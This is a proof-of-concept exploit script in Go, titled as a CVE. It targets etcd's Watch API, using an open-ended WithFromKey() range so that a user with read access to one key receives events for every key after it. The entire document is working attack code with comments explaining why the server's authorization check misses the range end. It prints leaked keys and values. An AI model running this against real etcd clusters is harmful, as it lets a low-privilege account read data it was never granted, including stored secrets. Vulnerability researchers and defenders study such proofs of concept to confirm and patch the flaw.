CVE-2026-33413: etcd Watch API RBAC Authorization Bypass via Open-Ended Range

package main

import (
	"context"
	"fmt"
	"log"

	clientv3 "go.etcd.io/etcd/client/v3"
)

// Attacker has READ permission on exactly one key: "allowed-key"
// Exploit: watch from "allowed-key" to end of keyspace using WithFromKey()
func main() {
	cli, err := clientv3.New(clientv3.Config{
		Endpoints: []string{"http://etcd-host:2379"},
		// credentials for a user granted READ only on "allowed-key"
		Username: "low-priv-user",
		Password: "password",
	})
	if err != nil {
		log.Fatal(err)
	}
	defer cli.Close()

	// WithFromKey() sets RangeEnd = "\x00" (open-ended: all keys >= start)
	// The server auth check only validates "allowed-key" is readable,
	// but never bounds-checks the RangeEnd against the granted permission.
	watchChan := cli.Watch(
		context.Background(),
		"allowed-key",
		clientv3.WithFromKey(), // RangeEnd = 0x00 => entire keyspace leaked
	)

	for resp := range watchChan {
		for _, ev := range resp.Events {
			// Receives events for ALL keys lexicographically >= "allowed-key"
			fmt.Printf("[%s] key=%s value=%s\n",
				ev.Type, ev.Kv.Key, ev.Kv.Value)
		}
	}
}